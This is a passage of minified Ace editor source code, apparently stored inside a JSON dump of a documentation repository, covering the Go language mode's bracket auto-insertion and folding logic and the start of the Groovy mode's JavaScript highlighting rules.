e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/golang\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/golang_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./golang_highlight_rules\").GolangHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new a,this.$behaviour=new u};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/golang\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-groovy.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:\"identifier\",regex:o},{regex:\"\",token:\"empty\",next:\"no_regex\"}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:o},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:r},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]};if(!e||!e.noES6)this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1||this.next.indexOf(\"jsx\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:r},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),(!e||!e.noJSX)&&a.call(this);this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(u,s),t.JavaScriptHighlightRules=u}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var 